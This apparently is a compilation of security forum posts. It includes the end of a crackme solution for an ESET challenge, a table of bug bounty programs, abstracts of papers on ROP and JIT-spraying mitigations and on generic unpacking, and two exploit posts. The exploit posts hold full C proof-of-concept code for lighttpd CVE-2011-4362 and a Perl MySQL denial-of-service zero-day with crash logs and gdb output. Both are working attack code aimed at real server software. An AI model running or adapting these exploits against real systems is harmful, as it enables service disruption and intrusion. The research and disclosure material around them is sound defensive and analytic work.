“helper register” – MM6 or MM7 3. Some 3 operations are performed on this “hash part” 4. Result of these operations is addes/substracted/xored with result of N-2 block, stored in MM0 or MM1 It gives us plenty of information! For every operation, we can easly calculate the value, with which MM0/MM1 is modified. And we KNOW the last value of MM0, MM1! It’s hash#1. If take a closer look, you notice, that the only things we must do is: - reverse the last instruction in every block (change from PADDB to PSUBB and so on…) - set the blocks in opposit order (the last block must be the first one) - then – if you give hash#1 as an input (in MM0, MM1) – you will get as an output the searched value (the encoded password ) How to do it? There are many ways, and i am gona demontrate some more interesting examples later on. But, actually, the task specified by ESET was just to find the proper key for one’s name and surname (not to write a keygen). So i did it in very fast and dirty way – on the original exe. I coppied the piece of memory containing all these instruction, then reversed it by my small parsing tool (written in C++), and copied again at the place. Left -bottom fragment of original; Right – top fragment of reversed When i inserted hash#1 as the initial value of MM0 and MM1, it gave me at the end the searched – means – encoded password! MM0 = AFEC FFD1 F7D1 9AE0 MM1 = 8597 249E 0642 1F2D Now it’s not a big deal to decode it. Password encoding/decoding Password encoding goes along with password verification. It is very simple. Every character of the password is processed in a following way (let’s denote the processing function by f1: ) f1: if pass in [a-o] : value = pass – 0×41 – 0×6 if pass in [A-Z] : value = pass – 0×41 otherwise – incorrect password But not only they are processed, they are also added into a polynominal… Password is divided into chunks of 3 characters : 3 chars of password -> ( f1(pass[n]) * 0×29 +f1( pass[n+1] ) ) * 0×29 + f1(pass[n+2]) –> 4 bytes of the “encoded password” To ilustrate, how it can be reversed, I placed here a source of my Simple Chunk Decoder. MM0 = AFEC FFD1 F7D1 9AE0 MM1 = 8597 249E 0642 1F2D 9AE0 F7D1 FFD1 AFEC 1F2D 0642 249E 8597 Password decoded by the Simple Chunk Decoder Now just copy the password into the field… And it’s done! Post Scriptum Due to the fact, that some people are interested, I am prepairing a new post on keygenning this crackme – including analysis of the MMX instructions generating code. If You want to see alternative solution, take a look on Vnd’s homepage Sursa: Solving ESET’s CONfidence 2012 Crackme | hasherezade's 1001 nights
-
[h=3]MS Access SQL Injection Cheat Sheet Reloaded[/h] SQL Injections are still very popular, for both ethical and unethical attackers. Although numerous research covering this topic have been published, SQL Injection vulnerabilities in Microsoft Access powered websites didn't receive much attention. Back in 2007, @_daath published the first MS Access SQL Injection Cheat Sheet. A few years later, NibbleSec decided to update the document in a brand new format. New stuff has been added as well as external resources have been merged. Enjoy the reloaded MS Access SQL Injection Cheat Sheet Sursa: Nibble Security: MS Access SQL Injection Cheat Sheet Reloaded
-
[h=3]"No More Free Bugs" Initiatives[/h]Two years after the launch of the "No More Free Bugs" philosophy, several companies and Open Source projects are now offering programs designed to encourage security research in their products. In addition, many private firms are publicly offering vulnerability acquisition programs. This post is an attempt to catalog all public and active incentives. This includes traditional "Bug Bounty Programs" as well as "Vulnerability/Exploit Acquisition Programs". Bug Bounty Programs [TABLE=width: 100%] [TR] [TD=bgcolor: #cccccc, align: center] Sponsor [/TD] [TD=bgcolor: #cccccc, align: center] Target [/TD] [TD=bgcolor: #cccccc, align: center] Reward [/TD] [/TR] [TR] [TD=align: center]Access[/TD] [TD=align: center]Undisclosed vulnerability in a software used by human rights defenders and activists.[/TD] [TD=align: center]$20,000 (winner award)[/TD] [/TR] [TR] [TD=align: center]AT&T[/TD] [TD=align: center]Security vulnerabilities found within the AT&T API Platform[/TD] [TD=align: center]$100-$5,000, plus merchandize (e.g. LTE data cards, phones with free service)[/TD] [/TR] [TR] [TD=align: center]Avast[/TD] [TD=align: center]Security vulnerabilities in the latest consumer Windows versions of Avast[/TD] [TD=align: center]$200-$5,000[/TD] [/TR] [TR] [TD=align: center]Barracuda[/TD] [TD=align: center]Vulnerabilities in Barracuda appliances, including Spam/Virus Firewall, Web Filter, WAF, NG Firewall[/TD] [TD=align: center]$500-$3,133.7[/TD] [/TR] [TR] [TD=align: center]BugCrowd[/TD] [TD=align: center]Crowdsourced security testing. BugCrowd manages bug bounty programs for third-party companies[/TD] [TD=align: center]Starting from $250[/TD] [/TR] [TR] [TD=align: center]BugWolf[/TD] [TD=align: center]Marketplace for bug bounty hunters. BugWolf manages bug bounty programs for third-party companies[/TD] [TD=align: center]Starting from $500[/TD] [/TR] [TR] [TD=align: center]Djbdns[/TD] [TD=align: center]Verifiable security holes in the latest version of Djbdns[/TD] [TD=align: center]$1000[/TD] [/TR] [TR] [TD=align: center]Etsy[/TD] [TD=align: center]Web application vulnerabilities affecting the main Etsy - Your place to buy and sell all things handmade, vintage, and supplies site, the etsy.com API, or the official Etsy mobile application[/TD] [TD=align: center]Starting from $500[/TD] [/TR] [TR] [TD=align: center]Facebook[/TD] [TD=align: center]Facebook web platform security bugs. No third-party applications[/TD] [TD=align: center]Starting from $500[/TD] [/TR] [TR] [TD=align: center]Gallery[/TD] [TD=align: center]Security issues in the latest stable release of the popular web based photo album organizer[/TD] [TD=align: center]$100-$1000[/TD] [/TR] [TR] [TD=align: center]Google[/TD] [TD=align: center]Chromium browser project, Chrome OS and selected Google web properties bugs[/TD] [TD=align: center]$500-$20,000[/TD] [/TR] [TR] [TD=align: center]Hex-Rays[/TD] [TD=align: center]Security bugs in the latest public release of Hex-Rays IDA[/TD] [TD=align: center]Up to $3000[/TD] [/TR] [TR] [TD=align: center]Kaneva[/TD] [TD=align: center]High impact web application vulnerabilities[/TD] [TD=align: center]$100[/TD] [/TR] [TR] [TD=align: center]Mega[/TD] [TD=align: center]Web application vulnerabilities and crypto bugs affecting MEGA's online systems[/TD] [TD=align: center]Up to €10000[/TD] [/TR] [TR] [TD=align: center]Mozilla[/TD] [TD=align: center]Firefox, Thunderbird and selected Mozilla Internet-facing websites bugs[/TD] [TD=align: center]$500-$3000, plus Mozilla T-shirt[/TD] [/TR] [TR] [TD=align: center]Nokia[/TD] [TD=align: center]Vulnerabilities in all Nokia run services, applications and products excluding corporate infrastructure[/TD] [TD=align: center]$n/a[/TD] [/TR] [TR] [TD=align: center]PayPal[/TD] [TD=align: center]Web application vulnerabilities in www.paypal.com[/TD] [TD=align: center]$n/a[/TD] [/TR] [TR] [TD=align: center]Piwik[/TD] [TD=align: center]Flaws in Piwik web analytics software[/TD] [TD=align: center]$200-$500[/TD] [/TR] [TR] [TD=align: center]Qmail[/TD] [TD=align: center]Verifiable security holes in the latest version of Qmail[/TD] [TD=align: center]$5000[/TD] [/TR] [TR] [TD=align: center]Samsung[/TD] [TD=align: center]Security bugs in Samsung TV/BD[/TD] [TD=align: center]Starting from $500[/TD] [/TR] [TR] [TD=align: center]Tarsnap[/TD] [TD=align: center]Tarsnap bugs, affecting either pre-release or released versions[/TD] [TD=align: center]$1-$2000[/TD] [/TR] [TR] [TD=align: center]Yandex[/TD] [TD=align: center]Security vulnerabilities in Yandex's services or mobile applications, as specified on the terms and conditions page[/TD] [TD=align: center]$100-$1000[/TD] [/TR] [/TABLE] Vulnerability/Exploit Acquisition Programs [TABLE=width: 100%] [TR] [TD=bgcolor: #cccccc] Sponsor [/TD] [TD=bgcolor: #cccccc] Target [/TD] [TD=bgcolor: #cccccc] Reward [/TD] [/TR] [TR] [TD=align: center]BeyondSecurity SecuriTeam[/TD] [TD=align: center]High and medium impact bugs in widely spread software[/TD] [TD=align: center]$n/a[/TD] [/TR] [TR] [TD=align: center]Coseinc[/TD] [TD=align: center]Unpublished security vulnerabilities for Windows, Linux and Solaris[/TD] [TD=align: center]$n/a[/TD] [/TR] [TR] [TD=align: center]Digital Armaments[/TD] [TD=align: center]Vulnerability and/or exploit code for high value software[/TD] [TD=align: center]$n/a[/TD] [/TR] [TR] [TD=align: center]Exodus Intelligence Program[/TD] [TD=align: center]Vulnerability research acquisition program for unknown vulnerabilities affecting widely deployed software packages[/TD] [TD=align: center]$n/a plus yearly bonuses[/TD] [/TR] [TR] [TD=align: center]ExploitHub[/TD] [TD=align: center]Legitimate market-place for non-zero-day exploits[/TD] [TD=align: center]$50-$1000. Both one-time purchase payments as well as recurring monthly payments from site-license customers[/TD] [/TR] [TR] [TD=align: center]iSight Partners[/TD] [TD=align: center]Bugs in typical corporate environment applications[/TD] [TD=align: center]$n/a[/TD] [/TR] [TR] [TD=align: center]Netragard[/TD] [TD=align: center]0-day exploits against well-known software[/TD] [TD=align: center]$n/a[/TD] [/TR] [TR] [TD=align: center]Packet Storm[/TD] [TD=align: center]Exploits for 0-day and 1-day vulnerabilities in enterprise-grade software (Microsoft, Flash, Java, etc.)[/TD] [TD=align: center]$1000-$7000[/TD] [/TR] [TR] [TD=align: center]Secunia[/TD] [TD=align: center]Unknown vulnerabilities affecting stable and latest release of products. All classes of vulnerabilities are eligible.[/TD] [TD=align: center]From top-of-the range merchandise to an IT security conference pass and hotel accommodation[/TD] [/TR] [TR] [TD=align: center]TippingPoint ZDI[/TD] [TD=align: center]Undisclosed vulnerability research, affecting widely deployed software[/TD] [TD=align: center]$n/a plus awards and benefits, depending on the contributor's status[/TD] [/TR] [TR] [TD=align: center]VeriSign iDefence[/TD] [TD=align: center]Security vulnerabilities in widely deployed applications[/TD] [TD=align: center]$n/a[/TD] [/TR] [TR] [TD=align: center]White Fir Design[/TD] [TD=align: center]Bugs in WordPress code and plugins (with over 1 million downloads and compatible with the most recent WordPress)[/TD] [TD=align: center]$50-$500[/TD] [/TR] [/TABLE] Contributions are welcome! If you are aware of an initiative not listed here or you want to report an inaccuracy in your initiative, please leave a comment and we will update this page over time. In fact, the more people, the better. Just to clarify, we aim at indexing programs that are: Legal. Although black/gray market places exist, we don't certainly want to list them here Active. We want to keep track of ongoing initiatives. Even time-limited programs are eligible, as long as they are still accepting submissions Public. All entries must have publicly available details. This may range from accurate guidelines and rules to just a simple sentence stating the nature of the incentive. It hence follows that we are going to report public information only. In case of cash rewards, the actual amount is reported whenever the min-max price paid is clearly stated Reward-based. In most cases, entries are "cash-for-bugs" programs. However, any kind of tangible reward is eligible. "No More Free Bugs" versus "No More Cheap Bugs" disputes are not considered here Disclaimer: we do not endorse, represent or warrant the accuracy or reliability of any of these programs. Posted by Luca Carettoni Sursa: Nibble Security: "No More Free Bugs" Initiatives
-
Primitive Lighttpd Proof of Concept code for CVE-2011-4362 vulnerability discovered by Xi Wang 29 of November 2011 was the date of public disclosure interesting vulnerability in lighttpd server. Xi Wang discovered that mod_auth for this server does not propely decode characters from the extended ASCII table. The vulnerable code is below: "src/http_auth.c:67" --- CUT --- static const short base64_reverse_table[256] = ...; static unsigned char * base64_decode(buffer *out, const char *in) { ... int ch, ...; size_t i; ... ch = in[i]; ... ch = base64_reverse_table[ch]; ... } --- CUT --- Exploit: /* * Primitive Lighttpd Proof of Concept code for CVE-2011-4362 vulnerability discovered by Xi Wang * * Here the vulnerable code (src/http_auth.c:67) * * --- CUT --- * static const short base64_reverse_table[256] = { * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x00 - 0x0F * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x10 - 0x1F * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, /* 0x20 - 0x2F * 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, /* 0x30 - 0x3F * -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, /* 0x40 - 0x4F * 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, /* 0x50 - 0x5F * -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, /* 0x60 - 0x6F * 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1, /* 0x70 - 0x7F * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x80 - 0x8F * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x90 - 0x9F * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xA0 - 0xAF * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xB0 - 0xBF * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xC0 - 0xCF * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xD0 - 0xDF * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xE0 - 0xEF * -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xF0 - 0xFF * }; * * static unsigned char * base64_decode(buffer *out, const char *in) { * ... * int ch, ...; * size_t i; * ... * * ch = in[i]; * ... * ch = base64_reverse_table[ch]; * ... * } * --- CUT --- * * Because variable 'in' is type 'char', characters above 0x80 lead to negative indices. * This vulnerability may lead out-of-boud read and theoretically cause Segmentation Fault * (Denial of Service attack). Unfortunately I couldn't find any binaries where .rodata * section before the base64_reverse_table table cause this situation. * * I have added some extra debug in the lighttpd source code to see if this vulnerability is * executed correctly. Here is output for one of the example: * * --- CUT --- * ptr[0x9a92c48] size[0xc0] used[0x0] * 127(. | 0 | 0) * -128(t | 1 | 0) * -127(e | 2 | 1) * -126(' | 3 | 2) * -125(e | 4 | 3) * -124(u | 5 | 3) * -123(r | 6 | 4) * -122(' | 7 | 5) * -121(s | 8 | 6) * -120(c | 9 | 6) * -119(i | 10 | 7) * -118(n | 11 | 8) * -117(i | 12 | 9) * -116( | 13 | 9) * -115(a | 14 | 10) * -114(t | 15 | 11) * -113(. | 16 | 12) * -112(e | 17 | 12) * -111(u | 18 | 13) * -110(r | 19 | 14) * -109(' | 20 | 15) * -108(f | 21 | 15) * -107(i | 22 | 16) * -106(e | 23 | 17) * -105(: | 24 | 18) * -104(= | 25 | 18) * -103(o | 26 | 19) * -102(t | 27 | 20) * -101(o | 28 | 21) * -100( | 29 | 21) * -99(a | 30 | 22) * -98(g | 31 | 23) * -97(. | 32 | 24) * -96(d | 33 | 24) * -95(g | 34 | 25) * -94(s | 35 | 26) * -93(: | 36 | 27) * -92(u | 37 | 27) * -91(s | 38 | 28) * -90(p | 39 | 29) * -89(o | 40 | 30) * -88(t | 41 | 30) * -87(d | 42 | 31) * -86(b | 43 | 32) * -85(c | 44 | 33) * -84(e | 45 | 33) * -83(d | 46 | 34) * -82(( | 47 | 35) * -81(n | 48 | 36) * -80(y | 49 | 36) * -79(h | 50 | 37) * -78(d | 51 | 38) * -77(g | 52 | 39) * -76(s | 53 | 39) * -75( | 54 | 40) * -74(r | 55 | 41) * -73(p | 56 | 42) * -72(a | 57 | 42) * -71(n | 58 | 43) * -70(. | 59 | 44) * -69(. | 60 | 45) * -68(d | 61 | 45) * -67(g | 62 | 46) * -66(s | 63 | 47) * -65(: | 64 | 48) * -64(( | 65 | 48) * -63(d | 66 | 49) * -62(- | 67 | 50) * -61(e | 68 | 51) * -60(s | 69 | 51) * -59( | 70 | 52) * -58(i | 71 | 53) * -57(s | 72 | 54) * -56(n | 73 | 54) * -55( | 74 | 55) * -54(i | 75 | 56) * -53(l | 76 | 57) * -52(. | 77 | 57) * -51(. | 78 | 58) * -50(k | 79 | 59) * -49(0 | 80 | 60) * -48(% | 81 | 60) * -47(] | 82 | 61) * -46(p | 83 | 62) * -45(r | 84 | 63) * -44(0 | 85 | 63) * -43(% | 86 | 64) * -42(] | 87 | 65) * -41(s | 88 | 66) * -40(z | 89 | 66) * -39([ | 90 | 67) * -38(x | 91 | 68) * -37(x | 92 | 69) * -36( | 93 | 69) * -35(s | 94 | 70) * -34(d | 95 | 71) * -33(0 | 96 | 72) * -32(% | 97 | 72) * -31(] | 98 | 73) * -30(. | 99 | 74) * -29(. | 100 | 75) * -28(d | 101 | 75) * -27(c | 102 | 76) * -26(d | 103 | 77) * -25(i | 104 | 78) * -24(g | 105 | 78) * -23(b | 106 | 79) * -22(s | 107 | 80) * -21(6 | 108 | 81) * -20(- | 109 | 81) * -19(t | 110 | 82) * -18(i | 111 | 83) * -17(g | 112 | 84) * -16(f | 113 | 84) * -15(i | 114 | 85) * -14(e | 115 | 86) * -13(. | 116 | 87) * -12(. | 117 | 87) * -11(. | 118 | 88) * -10(. | 119 | 89) * -9(. | 120 | 90) * -8(. | 121 | 90) * -7(. | 122 | 91) * -6(. | 123 | 92) * -5(. | 124 | 93) * -4(. | 125 | 93) * -3(. | 126 | 94) * -2(. | 127 | 95) * -1(. | 128 | 96) * k[0x60] ptr[0x9a92c48] size[0xc0] used[0x0] * ptr[0x9a92c48] size[0xc0] used[0x60] * string [.Yg.\...n.Xt.]r.ze.....g.Y..\..Yb.Y(..d..r.[..Y...-.xi..i.] * --- CUT --- * * First column is the offset so vulnerability is executed like it should be * (negative offsets). Second column is byte which is read out-of-bound. * * * Maybe you can find vulnerable binary? * * * Best regards, * Adam 'pi3' Zabrocki * * * -- * http://pi3.com.pl * http://site.pi3.com.pl/exp/p_cve-2011-4362.c * http://blog.pi3.com.pl/?p=277 * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <getopt.h> #define PORT 80 #define SA struct sockaddr char header[] = "GET /%s/ HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n" "Accept-Encoding: gzip, deflate\r\n" "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" "Proxy-Connection: keep-alive\r\n" "Authorization: Basic "; char header_port[] = "GET /%s/ HTTP/1.1\r\n" "Host: %s:%d\r\n" "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n" "Accept-Encoding: gzip, deflate\r\n" "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" "Proxy-Connection: keep-alive\r\n" "Authorization: Basic "; int main(int argc, char *argv[]) { int i=PORT,opt=0,sockfd; char *remote_dir = NULL; char *r_hostname = NULL; struct sockaddr_in servaddr; struct hostent *h = NULL; char *buf; unsigned int len = 0x0; if (!argv[1]) usage(argv[0]); printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n"); printf("\n\t\t[+] Preparing arguments... "); while((opt = getopt(argc,argv,"h:d:p:?")) != -1) { switch(opt) { case 'h': r_hostname = strdup(optarg); if ( (h = gethostbyname(r_hostname))==NULL) { printf("Gethostbyname() field!\n"); exit(-1); } break; case 'p': i=atoi(optarg); break; case 'd': remote_dir = strdup(optarg); break; case '?': usage(argv[0]); break; default: usage(argv[0]); break; } } if (!remote_dir || !h) { usage(argv[0]); exit(-1); } servaddr.sin_family = AF_INET; servaddr.sin_port = htons(i); servaddr.sin_addr = *(struct in_addr*)h->h_addr; len = strlen(header_port)+strlen(remote_dir)+strlen(r_hostname)+512; if ( (buf = (char *)malloc(len)) == NULL) { printf("malloc() \n"); exit(-1); } memset(buf,0x0,len); if (i != 80) snprintf(buf,len,header_port,remote_dir,r_hostname,i); else snprintf(buf,len,header,remote_dir,r_hostname); for (i=0;i<130;i++) buf[strlen(buf)] = 127+i; buf[strlen(buf)] = '\r'; buf[strlen(buf)] = '\n'; buf[strlen(buf)] = '\r'; buf[strlen(buf)] = '\n'; printf("OK\n\t\t[+] Creating socket... "); if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0 ) { printf("Socket() error!\n"); exit(-1); } printf("OK\n\t\t[+] Connecting to [%s]... ",r_hostname); if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0 ) { printf("Connect() error!\n"); exit(-1); } printf("OK\n\t\t[+] Sending dirty packet... "); // write(1,buf,strlen(buf)); write(sockfd,buf,strlen(buf)); printf("OK\n\n\t\t[+] Check the website!\n\n"); close(sockfd); } int usage(char *arg) { printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n"); printf("\n\tUsage: %s <options>\n\n\t\tOptions:\n",arg); printf("\t\t\t -v <victim>\n\t\t\t -p <port>\n\t\t\t -d <remote_dir_for_auth>\n\n"); exit(0); } Sursa: Lighttpd Proof of Concept code for CVE-2011-4362 : pi3 blog
-
[h=3]Mitigating Return-Oriented Programing Attacks and Other Exploitation Attempts via Secure API Execution[/h]Abstract With the discovery of new exploit techniques, new protection mechanisms are needed as well. Mit- igations like DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization) created a significantly more difficult environment for vulnerability exploitation. Attackers, however, have recently developed new exploitation methods which are capable of bypassing the operating sys- tem’s security protection mechanisms. Currently Return-Oriented Programming at- tacks are used heavily for the exploitation purposes. In order to protect against such attacks, we have developed a solution which decreases the probabil- ity of successful exploitation by the attacker. We are able to achieve this goal by estimating and lim- iting the places from where selected (protected) API functions can be referenced. Our solution does not require program source code and can be imple- mented for both user mode and kernel mode pro- grams. Currently the prototype works on IA-32 compatible processors. Our solution decreases the possibility of suc- cessful vulnerability exploitation without notice- able performance impact and false-positive alerts. Our work is not only limited to Return-Oriented Programming attacks. It can also harden shellcode execution and other exploitation methods as well. Download: http://piotrbania.com/all/articles/pbania-secure-api2011.pdf
-
[h=3]JIT spraying and mitigations[/h] ABSTRACT: With the discovery of new exploit techniques, novel protection mechanisms are needed as well. Mitigations like DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization) created a significantly more difficult environment for exploitation. Attackers, however, have recently researched new exploitation methods which are capable of bypassing the operating system’s memory mitigations. One of the newest and most popular exploitation techniques to bypass both of the aforementioned security protections is JIT memory spraying, introduced by Dion Blazakis. In this article we will present a short overview of the JIT spraying technique and also novel mitigation methods against this innovative class of attacks. An anti-JIT spraying library was created as part of our shellcode execution prevention system. DOWNLOAD HERE MIRROR: LOCAL MIRROR PS. You can catch me on twitter (http://twitter.com/PiotrBania) -- however i'm mostly tweeting only about midget car racing. Sursa: Piotr Bania Chronicles http://blog.piotrbania.com: PAPER: JIT spraying and mitigations
-
Generic Unpacking of Self-mo difying, Aggressive, Packed Binary Programs Piotr Bania bania.piotr@gmail.com March 2009 Abstract Nowadays most of the malware applications are ei- ther packed or protected. This techniques are ap- plied esp ecially to evade signature based detectors and also to complicate the job of reverse engineers or security analysts. The time one must sp end on unpacking or decrypting malware layers is of- ten very long and in fact remains the most compli- cated task in the overall pro cess of malware anal- ysis. In this rep ort author prop oses MmmBop as a relatively new concept of using dynamic binary instrumentation techniques for unpacking and by- passing detection by self-mo difying and highly ag- gressive packed binary co de. MmmBop is able to deal with most of the known and unknown pack- ing algorithms and it is also suitable to successfully bypass most of currently used anti-reversing tricks. This framework do es not dep end on any other 3rd party software and it is develop ed entirely in user mo de (ring3). MmmBop supp orts the IA-32 archi- tecture and it is targeted for Microsoft Windows XP, some of the further delib erations will b e refer- ring directly to this op erating system. Download: http://piotrbania.com/all/articles/pbania-dbi-unpacking2009.pdf
-
MySQL Denial of Service Zeroday PoC From: king cope <isowarez.isowarez.isowarez () googlemail com> Date: Sat, 1 Dec 2012 22:26:16 +0100 (see attachment) Kingcope Attachment: mysql-dos.txt 5.5.19-log on SuSE Linux DoS exploit: -------------------------------------------------------------------------------------------------------- use Net::MySQL; use Unicode::UTF8 qw[decode_utf8 encode_utf8]; $|=1; my $mysql = Net::MySQL->new( hostname => '192.168.2.3', # Default use UNIX socket database => 'test', user => "monty", password => "python", debug => 1, ); $mysql->_execute_command("\x12", "\x00\x00\x00\x00 foo"); exit; for ($k=0;$k<50000;$k++) { $a .="<A$k>"; } for ($k=0;$k<50000;$k++) { $a .="</A$k>"; } # SELECT example $mysql->query("SELECT UpdateXML('<a>$a<b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1"); my $record_set = $mysql->create_record_iterator; while (my $record = $record_set->each) { printf "First column: %s Next column: %s\n", $record->[0], $record->[1]; } $mysql->close; Crash Log: -------------------------------------------------------------------------------------------------------- started: /usr/local/mysql/bin/mysqld --log=/tmp/mysql55.log --user=mysql --log-bin=/tmp/logbin2 & 120108 12:55:28 - mysqld got signal 11 ; This could be because you hit a bug. It is also possible that this binary or one of the libraries it was linked against is corrupt, improperly built, or misconfigured. This error can also be caused by malfunctioning hardware. We will try our best to scrape up some info that will hopefully help diagnose the problem, but since we have already crashed, something is definitely wrong and this may fail. key_buffer_size=16777216 read_buffer_size=262144 max_used_connections=1 max_threads=151 thread_count=1 connection_count=1 It is possible that mysqld could use up to key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 133453 K bytes of memory Hope that's ok; if not, decrease some variables in the equation. Thread pointer: 0x8e6fa48 Attempting backtrace. You can use the following information to find out where mysqld died. If you see no messages after this, something went terribly wrong... stack_bottom = 0xa868b35c thread_stack 0x30000 /usr/local/mysql/bin/mysqld(my_print_stacktrace+0x33)[0x83b0f63] /usr/local/mysql/bin/mysqld(handle_segfault+0x4bc)[0x813c59c] [0xffffe400] /usr/local/mysql/bin/mysqld(_Z16dispatch_command19enum_server_commandP3THDPcj+0x11b4)[0x81b09e4] /usr/local/mysql/bin/mysqld(_Z10do_commandP3THD+0xbc)[0x81b13ac] /usr/local/mysql/bin/mysqld(_Z24do_handle_one_connectionP3THD+0x183)[0x823eb63] /usr/local/mysql/bin/mysqld(handle_one_connection+0x3c)[0x823ebbc] /lib/libpthread.so.0(+0x5b05)[0xb771cb05] /lib/libc.so.6(clone+0x5e)[0xb74e7d5e] Trying to get some variables. Some pointers may be invalid and cause the dump to abort. Query ((nil)): is an invalid pointer Connection ID (thread ID): 12 Status: NOT_KILLED The manual page at http://dev.mysql.com/doc/mysql/en/crashing.html contains information that should help you find out what is causing the crash. Version: '5.5.19-log' socket: '/var/run/mysql/mysql.sock' port: 3306 Source distribution [New Thread 0xa8f1db70 (LWP 7907)] 120108 13:01:51 [Warning] IP address '192.168.2.150' could not be resolved: Name or service not known 120108 13:01:51 [Note] Start binlog_dump to slave_server(65), pos(, 4294967295) Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xa8f1db70 (LWP 7907)] mysql_binlog_send (thd=0x8e6fb28, log_ident=0x8eb57a8 "", pos=<value optimized out>, flags=65535) at /root/mysql-5.5.19/sql/sql_repl.cc:1043 1043 log_file_name, (llstr(my_b_tell(&log), llbuff2), llbuff2)); (gdb) x/10i $eip => 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>: mov 0x8(%ecx),%edx 0x81bf54d <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1373>: mov 0x4(%ecx),%eax 0x81bf550 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1376>: mov %edx,0x4(%esp) 0x81bf554 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1380>: mov %eax,(%esp) 0x81bf557 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1383>: call 0x8541560 <llstr> 0x81bf55c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1388>: mov -0x9b0(%ebp),%edx 0x81bf562 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1394>: lea -0x590(%ebp),%eax 0x81bf568 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1400>: mov %edi,0x1c(%esp) 0x81bf56c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1404>: lea -0x990(%ebp),%edi 0x81bf572 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1410>: mov %eax,0x18(%esp) (gdb) i r eax 0xa8f1c804 -1460549628 ecx 0x0 0 edx 0xa8f1c805 -1460549627 ebx 0x8e821e0 149430752 esp 0xa8f1be50 0xa8f1be50 ebp 0xa8f1c868 0xa8f1c868 esi 0xa8f1c81a -1460549606 edi 0xa8f1c804 -1460549628 eip 0x81bf54a 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370> eflags 0x210282 [ SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 unprivileged user (REPLICATION_SLAVE privs needed to trigger the bug): -------------------------------------------------------------------------------------------------------- C:\Users\kingcope\Desktop>perl mysql.pl Use INET Socket: 192.168.2.3 3306/tcp Net::MySQL::_get_server_information(): 4E 00 00 00 0A 35 2E 35 2E 31 39 2D 6C 6F 67 00 N....5.5.19-log. 01 00 00 00 59 4C 50 2C 29 28 2E 4F 00 FF F7 08 ....YLP,)(.O.... 02 00 0F 80 15 00 00 00 00 00 00 00 00 00 00 22 ................ 59 7C 24 3A 36 40 21 22 26 38 29 00 6D 79 73 71 Y...6....8).mysq 6C 5F 6E 61 74 69 76 65 5F 70 61 73 73 77 6F 72 l_native_passwor 64 00 d. Protocol Version: 10 Server Version: 5.5.19-log Salt: YLP,)(.O"Y|$:6 () !"&8) Net::MySQL::_send_login_message(): 41 00 00 01 0D A6 03 00 00 00 00 01 21 00 00 00 A............... 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 6D 6F 6E 74 79 32 00 14 21 2F FB 64 ....monty2.....d 27 B4 FE 26 89 F7 D6 E7 2A A1 C9 00 A9 CF 4E 51 '.......*.....NQ 74 65 73 74 00 test. Net::MySQL::_request_authentication(): 07 00 00 02 00 00 00 02 00 00 00 ........... connect database Net::MySQL::_execute_command(): 0A 00 00 00 12 